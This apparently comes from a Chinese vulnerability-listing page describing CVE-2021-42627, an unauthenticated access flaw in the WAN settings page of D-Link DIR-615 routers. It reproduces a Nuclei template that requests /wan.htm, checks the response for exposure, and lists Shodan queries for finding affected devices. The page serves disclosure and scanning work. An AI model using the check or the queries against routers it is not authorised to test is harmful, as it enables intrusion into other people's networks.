CVE-2021-42627: D-Link DIR-615 - Unauthorized Access

日期: 2025-08-01 | 影响软件: D-Link DIR-615 | POC: 已公开

漏洞描述

D-Link DIR-615 devices with firmware 20.06 are susceptible to unauthorized access. An attacker can access the WAN configuration page wan.htm without authentication, which can lead to disclosure of WAN settings, data modification, and/or other unauthorized operations.

PoC代码[已公开]

id: CVE-2021-42627

info:
  name: D-Link DIR-615 - Unauthorized Access
  author: For3stCo1d
  severity: critical
  description: |
    D-Link DIR-615 devices with firmware 20.06 are susceptible to unauthorized access. An attacker can access the WAN configuration page wan.htm without authentication, which can lead to disclosure of WAN settings, data modification, and/or other unauthorized operations.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to the router, potentially compromising the network and exposing sensitive information.
  remediation: |
    Apply the latest firmware update provided by D-Link to fix the vulnerability and ensure strong and unique passwords are set for router administration.
  reference:
    - https://github.com/sanjokkarki/D-Link-DIR-615/blob/main/CVE-2021-42627
    - https://www.dlink.com/en/security-bulletin/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-42627
    - http://d-link.com
    - http://dlink.com
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-42627
    epss-score: 0.49707
    epss-percentile: 0.97741
    cpe: cpe:2.3:h:dlink:dir-615:-:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: dlink
    product: dir-615
    shodan-query:
      - http.title:"Roteador Wireless"
      - cpe:"cpe:2.3:h:dlink:dir-615"
  tags: cve2021,cve,d-link,router,unauth,dir-615,roteador,dlink

http:
  - method: GET
    path:
      - "{{BaseURL}}/wan.htm"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "src='menu.js?v=\"+Math.random()+\"'></scr\"+\"ipt>\");"
          - "var ipv6conntype"
        condition: and

      - type: word
        part: header
        words:
          - Virtual Web

      - type: status
        status:
          - 200
# digest: 490a004630440220631e56cd37de08f9a620898187461473f9f41e2e5bd8e6d854f2d74a9f32c02002205b8abadbe55f947a1e2d99c1802be4602a89e0ce6ecc56da89fb6cda0291dd44:922c64590222798bb761d5b6d8e72950

相关漏洞推荐